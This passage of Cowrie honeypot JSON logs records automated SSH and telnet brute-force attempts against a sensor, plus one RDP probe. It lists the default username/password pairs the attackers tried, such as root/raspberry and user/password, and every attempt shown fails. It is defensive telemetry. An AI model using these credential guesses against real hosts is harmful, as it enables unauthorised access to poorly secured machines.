{"eventid":"cowrie.login.failed","username":"root","password":"andromeda","message":"login attempt [root/andromeda] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:25:25.424775Z","src_ip":"103.183.114.55","session":"261db2cd605f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.1","message":"Connection lost after 2.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:25:26.653966Z","src_ip":"103.183.114.55","session":"261db2cd605f","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.237","src_port":51704,"dst_ip":"159.203.135.109","dst_port":22,"session":"6b9c9efbb352","protocol":"ssh","message":"New connection: 192.109.200.237:51704 (159.203.135.109:22) [session: 6b9c9efbb352]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:25:26.928073Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:25:26.932935Z","src_ip":"192.109.200.237","session":"6b9c9efbb352","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:25:27.015313Z","src_ip":"192.109.200.237","session":"6b9c9efbb352","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user","password":"1234","message":"login attempt [user/1234] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:25:27.268716Z","src_ip":"192.109.200.237","session":"6b9c9efbb352","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:25:28.360909Z","src_ip":"192.109.200.237","session":"6b9c9efbb352","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.237","src_port":60042,"dst_ip":"159.203.135.109","dst_port":22,"session":"c2964f71dc4b","protocol":"ssh","message":"New connection: 192.109.200.237:60042 (159.203.135.109:22) [session: c2964f71dc4b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:25:30.280086Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:25:30.285608Z","src_ip":"192.109.200.237","session":"c2964f71dc4b","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:25:30.368282Z","src_ip":"192.109.200.237","session":"c2964f71dc4b","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"gg","password":"gg","message":"login attempt [gg/gg] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:25:30.628591Z","src_ip":"192.109.200.237","session":"c2964f71dc4b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:25:31.714288Z","src_ip":"192.109.200.237","session":"c2964f71dc4b","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.237","src_port":60044,"dst_ip":"159.203.135.109","dst_port":22,"session":"f81d9d6d94c3","protocol":"ssh","message":"New connection: 192.109.200.237:60044 (159.203.135.109:22) [session: f81d9d6d94c3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:25:33.775536Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:25:33.780345Z","src_ip":"192.109.200.237","session":"f81d9d6d94c3","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:25:33.863326Z","src_ip":"192.109.200.237","session":"f81d9d6d94c3","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user","password":"password","message":"login attempt [user/password] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:25:34.109761Z","src_ip":"192.109.200.237","session":"f81d9d6d94c3","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":120.00199604034424,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:25:34.961952Z","src_ip":"46.60.48.98","session":"c3f921b1a680","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:25:35.196413Z","src_ip":"192.109.200.237","session":"f81d9d6d94c3","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"46.60.48.98","src_port":50616,"dst_ip":"159.203.135.109","dst_port":23,"session":"77844ad9e3e7","protocol":"telnet","message":"New connection: 46.60.48.98:50616 (159.203.135.109:23) [session: 77844ad9e3e7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:25:36.410140Z"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.237","src_port":60056,"dst_ip":"159.203.135.109","dst_port":22,"session":"fab2f447d508","protocol":"ssh","message":"New connection: 192.109.200.237:60056 (159.203.135.109:22) [session: fab2f447d508]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:25:37.089848Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:25:37.094657Z","src_ip":"192.109.200.237","session":"fab2f447d508","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:25:37.180490Z","src_ip":"192.109.200.237","session":"fab2f447d508","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"esuser","password":"esuser123","message":"login attempt [esuser/esuser123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:25:37.426363Z","src_ip":"192.109.200.237","session":"fab2f447d508","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:25:38.511862Z","src_ip":"192.109.200.237","session":"fab2f447d508","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.237","src_port":47912,"dst_ip":"159.203.135.109","dst_port":22,"session":"b51c7dfb44ab","protocol":"ssh","message":"New connection: 192.109.200.237:47912 (159.203.135.109:22) [session: b51c7dfb44ab]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:25:40.440655Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:25:40.446482Z","src_ip":"192.109.200.237","session":"b51c7dfb44ab","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:25:40.528776Z","src_ip":"192.109.200.237","session":"b51c7dfb44ab","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"openclaw","password":"123456","message":"login attempt [openclaw/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:25:40.775760Z","src_ip":"192.109.200.237","session":"b51c7dfb44ab","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:25:41.860901Z","src_ip":"192.109.200.237","session":"b51c7dfb44ab","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"167.172.81.52","src_port":59702,"dst_ip":"159.203.135.109","dst_port":22,"session":"3f15c0aba8b5","protocol":"ssh","message":"New connection: 167.172.81.52:59702 (159.203.135.109:22) [session: 3f15c0aba8b5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:25:42.939766Z"}
{"eventid":"cowrie.client.version","version":"\u0003\u0000\u0000+&\\xe0\u0000\u0000\u0000\u0000\u0000Cookie: mstshash=hello","message":"Remote SSH version: \u0003\u0000\u0000+&\\xe0\u0000\u0000\u0000\u0000\u0000Cookie: mstshash=hello","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:25:42.945350Z","src_ip":"167.172.81.52","session":"3f15c0aba8b5","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.0","message":"Connection lost after 0.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:25:42.949350Z","src_ip":"167.172.81.52","session":"3f15c0aba8b5","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.237","src_port":47922,"dst_ip":"159.203.135.109","dst_port":22,"session":"a3efc2c8b8a8","protocol":"ssh","message":"New connection: 192.109.200.237:47922 (159.203.135.109:22) [session: a3efc2c8b8a8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:25:43.767883Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:25:43.772878Z","src_ip":"192.109.200.237","session":"a3efc2c8b8a8","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:25:43.855618Z","src_ip":"192.109.200.237","session":"a3efc2c8b8a8","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"tomcat","password":"123456","message":"login attempt [tomcat/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:25:44.272963Z","src_ip":"192.109.200.237","session":"a3efc2c8b8a8","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:25:45.358774Z","src_ip":"192.109.200.237","session":"a3efc2c8b8a8","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.237","src_port":47932,"dst_ip":"159.203.135.109","dst_port":22,"session":"2c9dceb042e8","protocol":"ssh","message":"New connection: 192.109.200.237:47932 (159.203.135.109:22) [session: 2c9dceb042e8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:25:47.246707Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:25:47.251949Z","src_ip":"192.109.200.237","session":"2c9dceb042e8","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:25:47.334087Z","src_ip":"192.109.200.237","session":"2c9dceb042e8","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"raspberry","message":"login attempt [root/raspberry] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:25:47.580905Z","src_ip":"192.109.200.237","session":"2c9dceb042e8","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:25:48.666845Z","src_ip":"192.109.200.237","session":"2c9dceb042e8","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.237","src_port":41074,"dst_ip":"159.203.135.109","dst_port":22,"session":"47314a7ad3cb","protocol":"ssh","message":"New connection: 192.109.200.237:41074 (159.203.135.109:22) [session: 47314a7ad3cb]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:25:50.518301Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:25:50.527829Z","src_ip":"192.109.200.237","session":"47314a7ad3cb","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 